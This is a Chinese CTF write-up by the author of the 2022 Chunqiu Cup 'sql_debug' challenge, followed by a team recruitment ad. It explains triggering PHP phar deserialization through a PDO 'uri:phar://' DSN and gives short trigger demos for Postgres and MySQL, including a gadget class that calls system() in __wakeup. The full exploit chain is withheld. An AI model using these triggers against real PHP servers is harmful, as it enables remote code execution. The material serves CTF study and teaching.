2022春秋杯联赛 传说殿堂赛道 sql_debug题目解析

  • 前言
  • sql_debug sql_debug 题⽬介绍
  • dsn_from_uri 触发phar反序列化
  • Linux下PHP内核调试⼩知识
  • 个⼈总结
  • 重点来了

前言

恭喜永信至诚春秋GAME,2022年春秋杯网络安全联赛春季赛圆满成功!
首先很荣幸受邀给i春秋出题,然后因为自己没有太多时间去研究点好玩的新技术,于是就把之前发现的phar利⽤点给出成了题。最终整场⽐赛1解( 做出来的师傅不多 可能是因为调休补班,师傅们都没空来做,另一方面也是题⽬设计的不是很好 ,在这⾥给师傅们道个歉 ,轻点骂 什么垃圾题⽬。

sql_debug sql_debug 题⽬介绍

在这次2022年春秋杯联赛中,我出了⼀道 sql_debug 赛题。本题环境是 Nette Web ,⼀个PHP框架应⽤。我在环境⾥放了⼀个 install.php 可以修改框架的配置⽂件。

在控制器中呢也可以看到存在⼀个SQL注⼊的⽅法

我在环境⾥没有放置mysql 所以sql注⼊这个地⽅是⾏不通的。在⾼版本php⾥即使是在数据库配置可控的情况下尝试使⽤恶意mysql服务器读取⽂件也是不可以的。选⼿们到这⾥就应该思考 在配置⽂件可控的情况下有什么办法接管服务器了。结合题意我们可以对 Nette 的数据库初始化代码进⾏分析,你可以发现数据库是使⽤pdo进⾏连接的。

source/vendor/nette/database/src/Database/Connection.php


我们知道 myqsl 和 pdo 都有 phar 利⽤,不幸的是这两个利⽤⽅式都⽆法在本题中使⽤。

  1. Postgres
<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres",
"sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');
  1. MySQL
<?php
class A {public $s = '';
public function __wakeup () {system($this->s);}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES
TERMINATED BY \'\r\n\' IGNORE 1 LINES;');

那么有没有⼀种可能,还有其他的 phar 利⽤⽅式呢?

dsn_from_uri 触发phar反序列化

我们跟进php源码 搜索 phar 反序列化的⼊⼝函数。

跟进该函数 可以发现直接调⽤了实参 uri查找 dsn_from_uri 发现只有⼀地⽅存在调⽤,即 static PHP_METHOD(PDO, dbh_constructor)

我们在php的官⽹可以找到 uri: 的相关解释:
dsn由uri组成:后⾯跟着⼀个定义包含dsn字符串的⽂件位置的uri。URI可以指定本地⽂件或远程URL。

所以我们可以通过 uri:phar://phar.phar 的⽅式触发phar反序列,demo如下:

<?php
include_once "classTest.php";
$dbms='mysql';
$host='localhost';
$dbName='test';
$user='root';
$pass='';
$dsn="uri:phar://phar.phar/$dbms:host=$host;dbname=$dbName";
try {$dbh = new PDO($dsn, $user, $pass);
$dbh = null;
} catch (PDOException $e) {die ("Error!: " . $e->getMessage() . "<br/>");
}
$db = new PDO($dsn, $user, $pass, array(PDO::ATTR_PERSISTENT => true));
?>


到这⾥这道题的解法就⾮常明朗了,接下来只需要挖⼀条 Nette 的链⼦写⼊ install.lock 打Phar就好。链⼦较为简单 不是本文的重点 这里就不贴POC了。

Linux下PHP内核调试⼩知识

1.vscode的调试配置⽂件⾥ 可以把参数配置为 -S 这样就可以启动web服务,⾮常的⽅便调试。

{// 使⽤ IntelliSense 了解相关属性。
// 悬停以查看现有属性的描述。
// 欲了解更多信息,请访问: https://go.microsoft.com/fwlink/?linkid=830387
"version": "0.2.0",
"configurations": [{"name": "(lldb) Debug",
"type": "cppdbg",
"request": "launch",
"program": "/usr/local/php7.1.33/bin/php",
"args": ["-S","0:10001"],
"stopAtEntry": false,
"cwd": "${workspaceRoot}/html/",}]}


个⼈总结

1.鸡肋 只适合CTF
2.互联⽹没看到有⼈发 算是⼀个新的知识点

重点来了

你是否想要加入一个安全团
拥有更好的学习氛围?
那就加入EDI安全,这里门槛不是很高,但师傅们经验丰富,可以带着你一起从基础开始,只要你有持之以恒努力的决心
EDI安全的CTF战队经常参与各大CTF比赛,了解CTF赛事,我们在为打造安全圈好的技术氛围而努力,这里绝对是你学习技术的好地方。这里门槛不是很高,但师傅们经验丰富,可以带着你一起从基础开始,只要你有持之以恒努力的决心,下一个CTF大牛就是你。
欢迎各位大佬小白入驻,大家一起打CTF,一起进步。
我们在挖掘,不让你埋没!
你的加入可以给我们带来新的活力,我们同样也可以赠你无限的发展空间。
有意向的师傅请联系邮箱root@edisec.net(带上自己的简历,简历内容包括自己的学习方向,学习经历等)

2022春秋杯联赛 传说殿堂赛道 sql_debug题目解析相关推荐

  1. 2022春秋杯-春季赛 勇者山峰 writeup(misc全部+web签到)

    2022春秋杯-春季赛 勇者山峰 writeup(misc全部+web签到) 改改比赛wp发上来 本文来自csdn的⭐️shu天⭐️,平时会记录ctf.取证和渗透相关的文章,欢迎大家来我的主页:shu ...

  2. 2014年TI杯邀请赛——简易高速差分探头 题目解析

    TI倍邀请赛马上就要开始了,多做几个题练练手,所以以后几期都是关于TI杯邀请赛的,敬请期待. 一.题目再现(完整题目已经上传) 任务:设计并制作一个简易有源高速差分示波器探头,实现差分输入.单端输出功 ...

  3. 2021年春秋杯网络安全联赛秋季赛 传说殿堂赛道misc部分writeup

    Misc 问卷调查 略 secret_chart 解压出来一张图片,图片后面有个ZIP,手动分离出来之后去看图片发现没有LSB,准备去爆破一下然后就被我爆出来了 解压之后发现还真是chart,发现表格 ...

  4. 浅谈2022梧桐杯乡村、城市赛道双TOP1——从数据分析的角度

    目录          第二届中国移动"梧桐杯"大数据应用创新大赛 - 数智乡村                           大赛背景                    ...

  5. 【2022春秋杯】两个题wp

    Mercy-code 无参数RCE,过滤了很多 解法一 <?php highlight_file(__FILE__); if ($_POST['cmd']) {$cmd = $_POST['cm ...

  6. 2022春秋杯 勇者山峰 Misc-Tiger WP

    拿到题目如下: 首先打开tips.txt文档: 提示了两点: 1.rot 47加密 2.lsb图片隐写 再打开另一个文档 对里面的内容进行rot47解密得到lsb隐写的密码:28a217fe 对于ls ...

  7. 2022春秋杯-被带走的机密文件

    Misc-被带走的机密文件 正经取证题,没有任何套娃成分,请师傅们放心食用.(附件较大.) 题目给了一个E01镜像 使用取证大师(也有不使用的方法,并且并不是完全依靠取证大师)打开自动取证先简单进行信 ...

  8. “4.29”赛事再燃“360春秋杯”国际挑战赛报名启动

    4月10日讯,为着眼"建设网络强国"的战略目标和"京津冀协同发展"的决策部署,促进网络安全行业发展,不断提升首都的网络安全能力和水平,按照市政府统一安排,由市网 ...

  9. “东华春秋杯”上海大学生网络安全技能大赛决赛收官 聚焦高校人才培养

    11月21日, 由上海市教育委员会.上海计算机开放系统协会指导,东华大学主办,北京永信至诚科技有限公司协办,阅文集团.上海盛大网络发展有限公司.上海勋立信息科技有限公司.上海犇众信息技术有限公司支持的 ...

最新文章

  1. fullpage 单屏高度超过屏幕高度,实现单屏内可以滚动并解决手机端单屏高度不正确的问题
  2. mysql启动warning: World-writable config file
  3. 实践作业4:Web测试实践(小组作业)记录1
  4. 【坑】记录型信号量/AND信号量/管程解决生产者-消费者问题
  5. android 消除标题,Android Activity 去掉标题栏及全屏显示
  6. python如何启动前端_Django项目创建到启动详解(最全最具体)
  7. Linux环境下查看网络性能的基本命令
  8. 计算机科学的endnote格式,基于国家标准的 EndNote 输出样式模板
  9. android 分割数字图片,Android开发自定义View实现数字与图片无缝切换的2048
  10. Push master to origin/master was rejected by remote
  11. Android之高仿记事本、备忘录、便签
  12. 小米12pro天玑版和小米12pro哪个值得买 两者配置对比
  13. 【系统分析师之路】项目管理类论文写法心得
  14. wps怎么统一修改标点符号_Word2010中如何统一修改标点符号的字体格式?
  15. POJ 2240 Arbitrage 解题报告
  16. 从Qualcomm技术看loT未来发展方向
  17. USB键鼠类芯片CH9329应用笔记
  18. html5可滑动的文本框,html5 input type=range实现拖拉滑条功能
  19. 深度学习基本知识(一)评价方法precision\recall\mAP
  20. 个人云 私有云 公有云_个人云简介

热门文章

  1. 科学计算机怎么调试,用科学的方法调节用电脑之后的眼睛视力
  2. matlab中a2=poly(p2),插值与拟合matlab实现
  3. 加速网站访问的一些实践体会
  4. Webstorm2018激活和汉化
  5. js如何让方法在延迟两秒后执行
  6. 企业信息化建设都包括哪些方面?
  7. zygote启动过程
  8. 重新理解创业——一个创业者的途中思考
  9. Qt技巧:获取QTextEdit文本内容
  10. Java8 LocalDateTime 获取当前日周月年的起止时间